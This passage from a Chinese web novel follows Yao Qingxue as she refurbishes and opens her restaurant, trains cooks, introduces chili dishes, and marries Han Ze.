次日早饭后,姚福送芽芽上学,姚轻雪拿了钥匙打算去酒楼,打开大门见曹叔驾着马车等在外面。“曹叔,您怎么来了?” “还有我们。”车帘掀开,春佟和秋月露出脑袋。 曹叔道:“少爷说你身边得有人差使,便叫我们以后跟着您,有事尽管吩咐。” 除了他们三人,曹叔说还有两个婆子和三名小厮,他们先去饕餮楼等着了。等他们到时就看见那五人不知从哪里借了扫把正在打扫门前。 春佟将人招呼过来介绍给姚轻雪认识,秋月拿钥匙去开酒楼的门。这门许久未曾开过,乍然开启上面积的灰落了秋月一身。 姚轻雪让人把头上的牌子摘了,她走进店内。很久之前便听过德运楼,但这是她第一次进店,如今已经不是德运楼了,而是她的“饕餮楼”。 正如韩泽所说,店内装修很新,张家花大价钱翻修时怎么都不会想到这么快就完蛋,这倒是便宜她了。 姚轻雪里里外外上上下下走了一遍,将酒楼内部构造和设施都了解的一清二楚。后院竟然有一座很大的烤炉。想到安定庄遍地的肥鸭子,姚轻雪决定加一道招牌菜——烤鸭。 她这正看着,韩母带着人到了。姚轻雪陪着她又走了一遍,走完韩母累得捶腿,她坐下休息。“你打算怎么做?” 姚轻雪:“不做改动,该擦的地方擦干净,该修补的地方修一修,桌椅板凳窗棂连廊重新过一遍漆,也算焕然一新。” 韩夫人也觉得这么做合适,“我把家里能干活的人都带来了,李嬷嬷你叫大家都动起来,把德,不对,是饕餮楼里外都给我打扫干净,一点灰都不能有。乔旺你去找咱家常用的木匠来看哪里需要修补,然后再让他把该漆的地方刷漆……” 韩母几句话就把事情安排得明明白白。姚轻雪十分感激,她给韩母捶肩,“还好有伯母您帮我,不然我都不知该怎么办。” “韩家也有几间店铺,修缮这事我都亲自盯的,自然要比你熟。有不懂的尽管问我。”韩母神情有一丝得意。 姚轻雪把韩夫人一顿夸。韩母很受用,但也知道她在拍自己马屁。有些话她听听而已并不会当真。自家儿媳她不帮谁能帮? “京城多少人盯着饕餮楼,盯着你呢,你把饕餮楼经营好便是对我最大的感谢。” 姚轻雪郑重道:“您放心,我定然全力以赴,绝不辜负伯父伯母以及陛下的厚爱。” “好,我信你。”韩夫人起身,“留在这我也帮不上忙,人都留给你差遣,有什么不懂的 或是需要我做的派人回去说一声。” 韩夫人走后没多久,木匠就到了。姚轻雪与他商量完后,木匠领着徒弟开始干活。 饕餮楼三楼并立,中间主楼三层高,两侧的矮一些,也有两层高。即便是简单修缮最少也要十日左右才能完工。 中午韩泽过来说他朋友的字不错,她若没什么要求,便让杜淳和写“饕餮楼”的牌子。姚轻雪求之不得。 下面的人干活,也用不到姚轻雪,她便回家打算将菜谱进一步完善。 回家就看见秦家和在堂屋里坐着呢。 第90章 第90章准备 秦家和还带了两个男人来,年纪看上去都不大。既然来了便是决定给她做厨子,姚轻雪问他都会做什么菜。 “乡下办席的菜都会做,就是不知合不合城里人的胃口。”秦家和脸上有几分羞赧,“我没跟师傅学过厨,我爹走的早,我娘身体不好,所以我从小就做饭,现在的手艺都是自己一点一点琢磨出来的。” 姚轻雪自然知道他没学过厨,没学过还能把菜做好这才是本事。饕餮楼的菜谱她都定好了,其实用不着秦家和有拿手菜,但身为厨子的基本素养一定要具备,不然即使有菜谱也做不出好味道。 姚轻雪带人去灶房,家里有昨日从庄子上带回来的青菜。她点了两道,简单说了下步骤,然后让秦家和自由发挥。 很快芹菜炒肉丝与炒合菜出锅,颜色有些重,样子不大好看。姚轻雪尝了下,味道没大毛病但偏咸,这大概与生活习惯有关。村民常年劳作口重,所以乡下大席的菜重油重盐才受欢迎。 这倒不是大问题,习惯纠正过来就好。于是姚轻雪把这两道菜存在的缺点一一指出。秦家和连连点头,在村里做菜不太看重外表,只要做的好吃就成,所以他酱油就放的多了些,色重盐也重。 “不打紧,菜谱我会详细列出,到时你根据菜谱掌握好细节便不会出错。”姚轻雪道,“你先住下,过几日还会有其他厨子,我会亲自指点大家。” 秦家和以为自己不行呢,一听让他留下了,偷偷松了口气。刘金文扯扯他的袖子,秦家和一拍脑门:“瞧我这记性。” 他指着跟来的两人:“姚姑娘,这是刘金文,这是常贵,都是安定庄的村名。我在村里做菜,他俩给我打下手。听说您开酒楼便想过来学学厨艺,不知行否?” 姚轻雪:“想做厨子?” “是。”刘金文小心地说道:“我二人从小就喜欢琢磨吃的,以前跟秦哥学,听说您开酒楼,我俩就厚着脸皮过来了。” 见姚轻雪没说话,常贵赶忙道:“若是学徒不成,我们可以先从打杂做起。” 姚轻雪:“这倒不必。”厨房打杂的就要不少人,他们二人既然想做厨子就不能安排在别处。不过,规矩一定得说清楚。 “我会写一份保密文书,饕餮楼的菜谱不能泄露,更不可拿我的菜谱另起炉灶。” 秦家和:“这个自然,菜谱是酒楼的根本,姑娘不说我们也明白这个道理。既在您这做事必然不会再去第二家,除非您和大公子不要我们。”常贵和刘金文也再三保证绝对不会做背信弃义之事。 姚轻雪让曹叔把三人送去太平巷暂住,春佟和秋月留在姚家,两个丫鬟帮刘氏做事。姚轻雪关上房门将菜谱细化。 每道菜的步骤和注意事项都写得很清楚。她十分投入,韩泽进来都没有发觉。直到油灯燃起,姚轻雪才发现屋里不知何时多了个人。 “来了多久?”姚轻雪放下笔,转了转脑袋。低头这么一会儿便觉得脖子酸。 “没多久。”韩泽绕到她身后,给她捏肩,“见你这么认真便没有打搅,菜谱为何写这般详细?” “我不能亲自掌勺,想让厨子每次做出来的菜口感一致,就得将过程统一,如此菜的味道便不会差太多。”姚轻雪简明扼要地说了下标准化操作,“也不知牙行那边何时能有消息,若找不到厨子,只能我和秦家和两人上了。” 韩泽:“再等几日,若是没有消息,让家里厨子先去顶一阵子。你就不要去灶房了,身为东家要做的事情很多,厨房不是你该待的地方。” 姚轻雪自然知道,饕餮楼营业后很多事需要她亲自盯,怕是想上灶都分不开身。 “咚咚。”敲门声响起,外面传来秋月的声音,“少爷,姚姑娘,该用晚膳了。” 姚轻雪头往后仰,“你也在这用饭吗?” “不欢迎?”韩泽扶着她脑袋,生怕她一个不小心仰过来摔地上。 “哪能啊。”姚轻雪撑着桌边起身,“韩大人想来就来,我家就是你家。走,看看今晚都有什么好吃的。” 房门打开,两人就看见芽芽提着鹦鹉在前面跑,小白在后面追。白日芽芽不在家,刘氏怕猫祸害鸟,鸟笼一直放在她屋里。芽芽下学回来才把鹦鹉拿出房间,小白见了就炸毛,把小鹦鹉吓得直喊:“救命!” 刘氏:“也是奇了,旁人逗弄小白都不理,偏不让芽芽拿笼子。” 春佟笑道:“小白和芽芽关系好,乍然来个争宠的,它可不是不喜欢嘛。” 姚轻雪手疾眼快一把捞住从面前跑过的小白,大白猫冲鸟笼使劲。姚轻雪把它举起来恶狠狠道:“你敢伤鸟,我把你炖了。” 小白一僵,伸出去的爪子慢慢往回缩。秋月惊讶:“它听得懂?” “听不听得懂不知道,反正这家里小白就怕她。”说到这刘氏忍不住笑,“它也知道旁人好拿捏,雪儿不能惹。” 姚轻雪训了小白几句才把它放到地上,芽芽把鸟笼提过来,她试图让小白和鹦鹉做朋友。小白抬爪狠狠拍了一下鸟笼,“嗖”地一下跑进屋里。 众人一阵大笑,进堂屋用饭。饭后韩泽骑着踏雪,曹叔拉着两个丫鬟回了韩家,次日一早又过来接人。 这日姚轻雪先去了太平巷,幸好秦家和认几个字,姚轻雪给他几道菜谱,然后给了他一些银子,让他们三个这些天在这练习。 然后她来到饕餮楼,韩家的下人早早过来打扫,木匠叮叮咣咣修损坏之处。姚轻雪刚下马车,小厮过来说有人来找活做。原来是听说饕餮楼准备开业,先前德运楼跑堂打杂的那些人还想回来。 用原来的人也好,这些人在楼里做久了,比新人更快熟悉环境,出错的几率会更少。姚轻雪亲自把关,剔除几个奸猾之人,大部分留了下来。 这些人自然不够,于是又写了招工文书贴出去,除了工钱做得好还有额外奖励,待遇相当优厚,来应征的人络绎不绝。 五天时间便把饕餮楼所需人员招齐了,但最重要的厨子和管事却还没找到。姚轻雪有些着急。她想找韩泽商量一下,这才发现好几天没看见他影子了。问曹叔,曹叔说这几日韩泽没回将军府。大概是大理寺又有重要案子了,姚轻雪想。 这几日她抽空去了太平巷,秦家和完全没有问题,给一道菜谱他就能做出个八九不离十,姚轻雪亲自示范一两次,秦家和便可以完全掌握这道菜的精髓,可以说是在厨艺上非常有天分。 刘金文和常贵就差远了,一道菜连着做三次,每次味道都不同,这个水平还得练,没个两三年上不了灶。 开业没有厨子怎么办?正在姚轻雪发愁时,韩泽风尘仆仆回京了,给她带回来两位经验丰富的厨子。 姚轻雪拿着一沓卖身契,惊讶又惊喜,“你从哪里买来的人?” “自然是京外。”韩泽灌了几口茶,方才让燥热缓解下来。“京城不好找,外地就不同了。我得了消息便马不停蹄地赶过去,连走了三地买了俩厨子,还有一位管事,替主子打理酒楼生意多年,三人都是因为主家犯事才被发卖。” 京城厨子紧缺,韩泽便打起京外的主意。哪里有人犯事,犯多大事?他都能知道内情,他便利用职务之便寻了最近几个地方。索性没有白 跑,一次就把姚轻雪需要的人都带回来。 “厨子和管事都是拖家带口,我把他们家人都买了下来,人都交给你安置。”韩泽眼睛泛红眼下发黑,想来这段日子没怎么睡好。 这么挑食的一个人,为了她四处奔波,吃不好睡不好,姚轻雪很是心疼,走过去抱了抱他,“多谢!” “就嘴上说说,没别的?”韩泽戏谑地看着她。 姚轻雪嘟起嘴巴一点点靠过去,韩大人心满意足正准备把嘴也凑过去时,就听她嫌弃道:“咦,好脏,下不去口。” 韩泽:“……”什么旖旎的心思都没有了。他这几天日夜兼程,衣服没换,澡也没洗,不怪她嫌,他也觉得自己快臭了。 “我这都是为了谁啊?”韩泽两手捏住她的脸轻轻扯了下,“说好的患难与共呢?这么快就嫌弃我。” 姚轻雪哈哈大笑,在男人脸上“啾啾”亲了几下。“好了,快回去休息。你帮我的已经够多了,剩下的就交给我吧。” 现在共有仨厨子,加上这几日招来的,后厨人员配齐了。姚轻雪让秦家和、刘金文、常贵三人都搬到饕餮楼后院住。 其他人都交给新来的徐成管事,他负责底下那些人。姚轻雪将重点放在厨子身上,三人都是有多年经验的老厨子,稍加指点很快就上手。练习几日,菜的味道便基本稳定下来。 九天时间饕餮楼修整完毕,没有做太大改动,但无论内部还是外观都让人感觉焕然一新。就连韩夫人都说做的很好。姚轻雪又用了几天时间做其他准备工作。 在接手半个月后,一切准备就绪,饕餮楼开业!【你现在阅读的是 】 90-100 第91章 第91章开张大吉 饕餮楼前用竹竿搭建了彩楼门,绿色藤蔓缠绕其上,只见藤而不见竿。藤蔓上插满今早刚摘下来的鲜花,人在门中走过花香入鼻。 巳时起饕餮楼门前便热闹非常。韩父与韩母亲自过来给未来儿媳撑腰,韩母早早通知了亲戚朋友,是以今日韩泽的舅舅、姨母、嫁出去的姜玥瑶,以及韩将军和韩夫人的朋友全过来捧场。大理寺卿陆方也亲自到场,韩泽一众手下韩羽、高飞等人也没落下。 在皇上把酒楼卖给姚轻雪时,京中权贵便盯着饕餮楼,开张第一日慕名而来的人就不少。光是中午来用膳的食客便超出了预料,晚上来的人更多。 下直后杜淳和把同僚拉过来,他站在门前指着头上的牌匾道:“瞧见没?我写的,献丑了。”他得意的神情丝毫没有献丑的意思。 这个时候没人跟他计较,户部同僚催促道:“杜兄咱们快进去吧,不然没有位子,听说午膳便座无虚席。” “对对,赶紧走。”杜淳和与同僚走进楼内,放眼望去一楼全是脑袋。“哎呀,还真没位置了,这可如何是好?” 负责接待贵客的乔旺一瞧是杜淳和赶紧把人请到二楼。一层散座供普通人使用,二层雅室供富人贵人使用。杜大人是他们家少爷的朋友,自然不能坐一楼。 乔旺本是韩府管事,前些日子过来帮忙,姚轻雪见他待人接物颇为老练,最重要的是他因为在韩家的关系,认识不少京中显贵,这一点新来的徐成不及他。于是姚轻雪便跟韩母把人要过来,让他做饕餮楼的掌柜。 乔旺与徐成两人,一个掌柜一个管事,两个人相互配合,第一天都没让姚轻雪操什么心,她就知道这俩人找对了。乔旺也愿意来饕餮楼做事,除了月银还有奖励,酒楼赚得多,他的工钱也多。 月上树梢时,韩母领着姚轻雪送走最后一波相熟的客人,转身回来见伙计们推着手推车,俩俩一组,收拾碗碟、处理剩菜剩饭,速度很快,片刻功夫杯盘狼藉的桌面便收拾得干干净净。她不禁赞道:“这个办法好,省时省力。” “我家卖卤味就用手推车,很是方便,我便稍作改良用在店里。”姚轻雪捶捶酸痛的腰。今日来客她大多不认识,韩将军和韩夫人带她一个一个认。以后她免不了与这些贵人打交道,一天下来也是累得够呛。 不想再去楼上,韩将军便在大堂角落里找了个位置坐下。有伙计见了,赶紧送上热水新茶。“今日送了多少牌子?” 作为开业福利,姚轻雪做了六百个一寸宽两寸长的木牌,木牌上画了憨态可掬的饕餮,并且每个木牌的图案都不同。前三日来的客人每桌都会送一块木牌,集齐五个、十个便可获赠饕餮楼的一道招牌菜。今日共送出去二百六十八块木牌。 “这么多?”韩母咋舌,她原本以为靠韩家呼朋唤友撑场面,第一天几十桌顶天了。哪知她低估了食客们对饕餮楼的期待。 中午人还算正常,大多是熟人捧场。晚上客人基本都是慕名而来,大多是听中午用过膳的人说饕餮楼如何好才过来的,有人等了一两刻钟才等到位置。 韩将军:“照这样下去,木牌怕是不够明后两日用。” 姚轻雪想了想找来乔旺,让他尽快安排再做五百个木牌。 韩夫人喝了口茶:“我还担心生意不好,现在看完全不用担心,你做得很好。” 好姐妹们把她未来儿媳夸出花来,有些人虽是有恭维之意,但姚轻雪今日表现确实出色。待人接物大方得体,处理事情干脆果断,今日出现的几场小事故,她都很好地处理了。 “菜谱都是你琢磨的?”韩将军问姚轻雪。 “有些是我自己琢磨的,有些则是根据一本游记上记载的、其他地方的菜谱改良得来。” “难怪,有些菜以前从未见过。”即便与其他酒楼相同的菜式,味道却有很大差别,饕餮楼的味道更胜一筹。韩将军吃过后完全不会想再去别家了。 姚轻雪在韩家下过厨,他们吃的那些,与今日饕餮楼的菜式完全是小巫见大巫,根本没法比。原来她脑子里还有这么多菜谱。光是这些菜谱就价值不菲,饕餮楼何愁不兴旺。 若说昨日他与妻子还担心姚轻雪还不上陛下的十五万两,现在韩将军完全不担心。就凭饕餮楼独一无二的菜式便可在京城一炮而红、站稳脚跟,区区十五万两怕是用不了两年便可还上。 他闷声不响的儿子捡了个宝贝啊,韩将军心情十分愉悦,今日来客看韩家面子,今日过后怕是都被饕餮楼征服了,韩家未过门的儿媳可以独当一面了。 想想京城哪家十九岁的姑娘有这个本事?没有。别说女子,二十左右岁的长子嫡孙也没谁有这番作为。韩将军欣慰又骄傲。“你做得很好,今后有任何处理不了的事就去找我和你伯母。” 姚轻雪起身行了个大礼,“今日多谢伯父伯母相助,才让我没有乱了手脚。” “自家人不说这些。”韩将军起身,“天色不早了,我们回了,轻雪也早些回去休息。” 姚轻雪目送韩家马车离去,刚用完膳的一家三口与她擦肩而过。男人道:“饕餮楼还不错。” “是啊。”妇人道:“豆腐竟能做这么好吃,咱们以前吃的都是什么呀,水晶鲙是我吃过最好吃的,店家说对皮肤好。”妇人口中的水晶鲙便是鱼冻。 他们身边的小姑娘非常开心:“我喜欢牛奶冻,软软香香的好好吃,我还喜欢猫咪碗,我还喜欢兔子碗,父亲母亲明日我还要来。” 为了照顾孩童,姚轻雪定制了一批动物图案的碗碟,还有给幼童专用的座椅。至 于牛奶冻,因这个季节没什么水果,只能用牛奶做冻,有女人和孩子的桌上,都会免费送上一碟,但凡吃过的都会再点上一份。 小姑娘在彩楼门前转来转去,楼上的红灯笼照亮了稚嫩的笑脸。姚轻雪摘了几朵花递到她面前:“送给你。” “谢谢姐姐!”小姑娘接过花道谢,再次被爹娘催促才转身离开。 看着三人远去的背影,姚轻雪嘴角上弯,她摘下一朵已经蔫了的花嗅了嗅。明早将有新的花送过来,光是前三日的鲜花就花费不少银子,不过这些都是值得的。 稍微喘口气,姚轻雪回到店内,走到柜后问:“今日流水有多少?” 乔旺正在低头盘账,闻言抬起头一脸激动道:“东家,今日进账足有三千二百两。”照这个赚法一个月就能进账十万两左右,这开的哪是酒楼啊,制银坊还差不多。 姚轻雪也高兴,但她更冷静,“今日来的大多是韩家亲友,或是官场上与韩家相熟的贵客,所以前三日流水并不能作为衡量标准。” 乔旺一想也是,“今日客人凡响都很好,晚上有些客人便是中午的食客介绍来的,我估摸着以后客人也不会少。”开张前三日所有菜品均打九折,还会赠送特色美食,所以晚上闻风而来的人着实不少。 徐成从后厨过来,“东家,今日食材咱们自己买了三回,明日怕是用的也不少,我让那边明早多送些来吧。”饕餮楼找了专门供应肉菜的店铺,每日早上他们会根据前一日订单将新鲜的菜和肉送到后厨。 今日送来的菜就没够用,徐成派人去最近的菜市买了三次。晚膳时鱼就不够了,大晚上也没地方买鱼去,香辣烤鱼便撤了牌子。 “这种事徐管事有经验,您决定便好,不必事事问我。” “那今后我便看着办了。”徐成拱手,“今日宾客满楼,恭喜东家开张大吉!” 姚轻雪笑道:“同喜同喜,大家都辛苦了,这个月都有奖励。” 徐成道:“我替伙计们谢东家。” 这时楼上的客人走下来,姚轻雪一瞧是韩泽。饕餮楼开业最忙的不是姚轻雪这个东家,而是韩泽。 只要韩泽往那一站,没多会儿一准被熟人拉进雅间。若是以前韩大人不想喝的酒谁的面子都不给,今日他对谁都是笑脸相迎,酒喝了一轮又一轮,这会儿下楼都打晃了。 姚轻雪过去扶人,与他一同下来的人调侃:“韩少卿好福气啊。” “几位吃的可还满意?”姚轻雪脸上挂着笑,“若有不周之处,尽管与我说,大家千万别客气。” “弟妹,嗝、”这人打了个嗝,而后道:“现在叫弟妹,早了,老板娘!饕餮楼很好,就算没有润青这层关系,饕餮楼以后我们也会常来。” 有人玩笑道:“姚老板何时与韩少卿成亲?办喜事时就要饕餮楼的招牌菜,我带全家老小去韩家吃席。” 友人道:“就你想的美。” “放心,我们成亲时酒菜就定饕餮楼的一等席面,一定让大家满意。” 寒暄片刻,姚轻雪与韩泽把人送走。韩大人还想回店,姚轻雪没让,“都喝成这样了,还回去干嘛,让曹叔送你回家。” 夜风一吹,韩泽清醒了几分,“你呢?何时走?” “我再等会儿,你先回去吧,明早还要上直呢。”第一日放心不下的地方太多,她得把方方面面了解清楚,看是否有想不到的地方。虽然手下得力,但她也不能做甩手掌柜,不然早晚要出大问题。 “我等你,送你回葫芦巷,我再回家。”韩泽叹口气,“好麻烦,不如你跟我回将军府。” “这哪行?我爷爷奶奶怕是一宿不能睡。有春佟秋月陪我,你放心好了。”姚轻雪和曹叔合力把人塞进马车。 姚轻雪重新回到店里,此时已经没有客人了,就剩伙计在打扫。她将厨子、伙计等人集中到一起,问了今日出现的问题。 起初大家都不敢说话,姚轻雪让他们随便说,说错没关系。大家这才开口,姚轻雪认真听着。总体来说大问题到是没有,不足之处便是人手不足,有伙计慌乱时打碎了碗盘或是冲撞了客人。 徐成:“人手并不需要增加,三日后若是客人还这般多,再考虑增加人手不迟。” 确实如此,若是盲目增加人手,到时客人没多少,白白浪费了工钱。“大家都辛苦了,今日每人奖励三十文,月底也有奖励。” 等姚轻雪走后,伙计们疲惫的脸上都露出笑,看来饕餮楼他们是来对了,东家大方,在外面做工一天都不一定赚到三十文钱。 姚轻雪回到葫芦巷已经巳时末了,这一天姚福和刘氏坐立不安,天黑开始更甚,一会儿出门瞧瞧人回来没有。他俩今早把卤味送去饕餮楼,大孙女就让他们回家来,也不知道生意好不好? 第92章 第92章双喜 饕餮楼开张前三天,日日爆满,姚轻雪本以为三日过后,没了优惠和赠送客人会骤减,哪知食客并未比之前少多少。 其实达官贵人早就把京城的酒楼饭庄吃遍了,饕餮楼刚开张菜品新口碑好,去过的人口口相传,爱好美食的人们都想来一饱口福,而且这些人都是不差银子的主。 酒楼赚钱是好事,这可忙坏了新手东家,姚轻雪每天打起十二分的精神从早到晚扎在饕餮楼。从后厨到前堂不放过每一处细节,缺人手及时补齐,出现问题尽快解决,一段时间下来人瘦了一大圈。 韩泽见了既心疼又生气,他戳着姚轻雪的脑门:“光顾着赚银子,身体就不重要了?” “这不是刚开始嘛。”姚轻雪揉着脑门,“这两个月该做的都做了,不足之处也一一改正。”她讨好地晃着男人的胳膊,“别生气嘛,该做的都已经做完,今后有徐成和乔旺盯着,就不用我亲力亲为了。你今日怎么有空过来?想我了吗?” 前段时间韩泽奉旨出京,回来后也是忙不停,两人虽然都在京城,但也是有些日子没见面了。 “嗯。”韩泽几不可闻地嗯了声。 姚轻雪笑眯了眼,“我也想你了。”她在男人脸上亲了一下。 这般浅尝辄止哪里够解相思之苦?韩泽捏住她的下巴欺身上来,半晌两人才分开。姚轻雪闭着眼靠在他怀里,感受男人强有力的心跳。“我知道你心疼我,放心吧,我有分寸。” 她确实累,但却不能因为累就把责任推给别人。饕餮楼是她在这个世界安身立命的根本,她要把它好好经营起来。 韩泽轻轻叹了口气,可以想象即便成亲以后,姚轻雪也不可能像别人的妻子那般每日等丈夫回家,嘘寒问暖、照顾周到。看现在的架势怕是得反过来要他照顾。 能怎么办?人是他选的。全京城的姑娘他就看上这么一个。“我来是想跟你说说婚事。” “婚事?”姚轻雪仰起头看他,“韩浩的婚事?” 韩泽没好气道:“我跟你说韩浩的婚事做什么,二弟的婚事自有父亲母亲操心,是我们的婚事。” 姚轻雪眨眨眼,没明白他什么意思。 韩泽:“二弟八月初八成亲,我们的婚事定在九月十六如何?我找人看过是个好日子。” “好,我没有意见。”如今饕餮楼步入正轨,并不需要她太费心思。她跟韩泽经常几天见不着面,韩泽担心她,她也时常挂念他吃没吃好饭?有没有发脾气?与其两个人相互牵挂,不如早些成亲。 韩父韩母很高兴,两个孩子的婚事一起准备起来。姚福和刘氏也早有准备,两人做卤味之余便开始张罗孙女成亲事宜。 姚家二老每日往饕餮楼送一趟卤味,姚轻雪按照摆摊的价给他们银子,每日能赚以前十几天的钱。起初俩人无论如何也不信卤味能卖那么多 银子,她以为是孙女故意贴补他们,说什么都不肯收钱。 没办法姚轻雪让爷爷奶奶去别家酒楼和饕餮楼都点了菜,听到卤味的价格,刘氏差点从椅子上跌下来,价格比摆摊翻了一倍不止。 老两口心里五味杂陈,难怪孙女一心想开食肆酒楼,难怪酒楼赚银子,一半的价格放在街边卖,一般人都得寻思半天,有人十天半月才狠心买几两解馋。然而到了酒楼那点钱根本就不算什么,一桌菜顶他们半个月甚至一两个月的进项。还是有钱人的银子好赚。从那以后老两口便安心收下银子。 每日只管做卤味,操心的事少了,空闲时刘氏偶尔与街坊走动,以前瞧不上他们的人如今见了姚家二老都是笑脸相迎,好话一箩筐。姚家以前被人说三道四,现在谁不羡慕他们? 孙女有大本事,开了那么大间酒楼,哪家男人比得上?生活富足、孙女孝顺、人人羡慕。刘氏走路都带风,张罗婚事也是干劲十足,势必要让孙女风风光光出嫁。 婚事都有家里人张罗,韩泽闲下来便带人去了郊外的庄子。夏季正是辣椒生长旺盛期。姚轻雪做了几道菜,韩大人吃得满头大汗仍乐此不疲。当即吩咐李贵冬天暖棚一定要有辣椒。并且明年留出三十亩最肥的田用来种辣椒。 “怎么样?我没说错吧。”姚轻雪夹了块虎皮尖椒与米饭一起放进嘴里,这是她的最爱,以为这辈子都吃不到了,感谢韩三公子和他远涉重洋的朋友。 韩泽喝了口温水,“你打算何时拿去卖?” “青椒摘下来没法留种,我今后指着它赚大钱呢,这一亩地的种子太珍贵了,本来今年不打算在饕餮楼卖青椒。” “第一年保种很重要。”韩泽也赞同,“你说本来,那么现在有变化吗?” “嗯。”姚轻雪点头,“不知是地好还是人照顾得好,或者是新物种的关系,结的有点多,得往下摘一些,不然都长不好。我打算在饕餮楼推出一道菜,每日限十份。” 辣椒初入市场未必有很多人喜欢,每日限量一是食材本身有限,另外也是试试食客们的反应。 二人当天回京便带了一筐辣椒,做法姚轻雪教给了秦家和。出人意料的是,虎皮青椒和青椒酿肉两道菜自打上了牌子,每日开门营业时便被人抢定一空,晚来半步就看不见牌子了。 有人抱怨怎么这么少,徐成耐心给他们解释此物稀少,今年能吃几天算几天,明年想吃多少有多少。 今年还不定能吃几次?尝过滋味的人心痒难耐,有人开始打听辣椒出处,这其中不乏饕餮楼的竞争对手。但是酒楼里除了秦家和等人外,还真没有人知道这东西从哪里来。安定庄的人姚轻雪都叮嘱过,所以他们也是一问三不知。 有机灵的便跑去韩家的庄子打探,还好辣椒种在农田中间,有其庄稼挡着,不走近根本发现不了。安定庄的村民也很机警,有陌生人靠近农田便悄悄盯着并适时驱赶。有人甚至出十两银子想买一斤青椒,但都没有村民泄露半点消息。 自打饕餮楼开业,安定庄得了不少好处。安定庄的烤鸭是酒楼的招牌菜,如今安定庄的鸭子在京城都有名。也有别的酒楼来村里买鸭子,价钱比以前贵不少。将军府并不限制他们卖给谁,但大家都先紧着饕餮楼,之后才会卖与旁人。 现在安定庄家家户户都养鸭子。以前除了种田没有别的收入,如今光靠卖鸭子一年就能赚不少。而且姚轻雪说明年的青菜也从安定庄采买,未来还打算在安定庄建一座养猪场。另外,除了秦家和刘金文、常贵三人,后又有十来个青年去饕餮楼做工。 安定庄的村民本就得韩家庇佑,如今又能从韩家儿媳手里赚银子,没人会为了眼前的利益出卖姚轻雪。是以那些想打听辣椒的对手们,愣是不知道此物生长在何处。 其实姚轻雪也没想过要私藏,这玩意也藏不了,只要能拿到种子很好种的。只是能晚一点就晚一点,先让她赚一波,最多两年,之后谁爱种谁种。 转眼到了八月,韩浩与周芸姝大婚,饕餮楼两位大厨去韩家做席面。姚轻雪将最后一批青椒拉来将军府,虎皮尖叫和青椒酿肉竟然成了婚宴上最受欢迎的菜。 宫里的太监来韩家吃席,回宫后与皇帝说起此事,皇帝立马把韩泽叫到宫中一问究竟。于是韩泽把所剩不多的青椒送进宫,还送了些晒好的干红辣椒和辣椒籽,并附上做法与种法。 皇帝按照菜谱上的一一试过后,问身旁的太监:“朕要她十万两是不是少了?”那姚厨娘将酒楼经营的有声有色,若是再填这新鲜物,京城食客的银子岂不是都让她赚去了。 老太监笑道:“陛下!不是十万两,是十五万两。” “饕餮楼开张便赚得盆满钵满,照这样下去怕是明年就能还得上本钱,哪里还有那几万两。”皇上有那么一丢丢后悔把酒楼卖少了。 那座酒楼十万两银子是低了些,但十五万两着实不便宜了。老太监乐呵呵道:“让她分五年还清不就行了。” 皇帝点了点跟随自己多年的老太监,而后愉悦道:“就这么办,对了,九月十六润青与那厨娘大婚,替朕备份厚礼送过去。” 九月十六,天未亮姚轻雪就被奶奶从被窝里拽起来。芽芽坐在床上看春佟和秋月给姐姐装扮有些不太开心。 春佟边给姚轻雪上妆边逗她:“芽芽是不是舍不得姐姐嫁人啊?” 小姑娘撅着嘴一下下摸小白的脊背,但显然今日小主人有些心不在焉,下手很重,没几下小白就不干了,跳下床溜了。 姚轻雪暂停上妆,来到床边抱了抱小姑娘。“姐姐就在京城又不是远嫁,我会经常回来看你和爷爷奶奶,你们也可以去看我啊。” 芽芽小声道:“可是将军府好远啊。” “是有点远,所以姐姐决定等还了皇上的银子,就在将军府旁边买座宅子。你和爷爷奶奶搬过去,这样我们就可以随时见面了。” “真的吗?”芽芽的沮丧瞬间消失不见。 “当然是真的,姐什么时候骗过你?”姚轻雪捏了捏妹妹肉嘟嘟的小脸,“快去洗脸换衣服,咱家没有兄弟,等会儿你得送姐姐出嫁。” “好,我这就去。”小姑娘麻利下床跑出去洗脸。 “少夫人对妹妹可真好。”秋月忍不住羡慕。她也有姐姐,可他们家穷,孩子多,她也没享受多少姐姐的关爱便被卖了。姚家这俩没有血缘却比亲姐妹还要亲,怎能不让人羡慕。 姚轻雪莞尔:“谁让我是她姐姐呢。” 吉时一到,外面锣鼓喧天鞭炮齐鸣。不止葫芦巷,前后几条街的人都过来看热闹,葫芦巷被堵得水泄不通。若不是大理寺的人提前过来维持秩序,怕是迎亲的队伍都进不来巷子。 姚福和刘氏拿出全部银子给孙女置办嫁妆,还把韩家送来的聘礼原封不动地放进嫁妆里。几十台嫁妆从屋里摆到大门口,嫁妆之丰厚令所有人咂舌。 这都赶上贵人嫁女了,姚家老两口是真舍得啊。等看见马上的韩泽时,人们更是羡慕不已,新 郎官一表人才,将军府明媒正娶,葫芦巷出了个金凤凰啊。 韩泽面带喜色从芽芽手里接过姚轻雪。芽芽板着脸道:“我把姐姐交给你了,你要好好待她。” 小姑娘一本正经的样子把周遭的人都逗笑了。让小姑娘送嫁很不合规矩,但没人计较,大家都知道姚家的两个丫头都是宝贝疙瘩。韩泽更不会在意:“放心,我一定会对你姐姐好。” 迎亲的队伍在锣鼓声中逐渐远去,姚福和刘氏站在大门外踮起脚尖看了又看,直到看不见才低头擦眼角。 芽芽拉着两人的手,“爷爷奶奶不难过,我们很快就会和姐姐在一起。”芽芽安慰完两位老人,便开始招呼客人。今日姚家办喜事,相熟的人都过来吃席,姐姐不在她得帮爷爷奶奶把这个家担起来。 外人看着姚家的小姑娘也这般懂事,都唏嘘不已,姚家老两口这是什么命啊?捡回来的两个丫头都这么能干。这个小的长大了兴许又是一位出色的姑娘。 众人窃窃私语,等菜上桌便没人顾得上说话了,饕餮楼大厨做的菜啊,平常他们可吃不起。 东家大婚,饕餮楼放假一日,一半人在葫芦巷做席面,另一半去了将军府。姚轻雪将干辣椒用在菜品里。若是有人询问,饕餮楼的小二便一脸和气地说这是他们酒楼新推出的菜品,东家大婚后每日限量供应。 有人忍不住道:“新娘子可真会做生意,成亲也不忘给自家酒楼做宣传。” 韩母一脸骄傲地说:“我家儿媳样样拿得出手,可不比我儿子差。” 韩家对儿媳的态度让多少人羡慕,姚轻雪不得而知,经过繁缛的流程后,她终于坐到了床上,这一座便坐到天黑。 周芸姝给她送过来些吃食,让她垫肚子,趁丫鬟不注意偷偷往她手里塞了本书。姚轻雪打开一瞧,嚯,好辣眼睛。她大概看了几眼便放在一边了,洞房这种事没吃过猪肉也见过猪跑,倒是用不着从书上学。 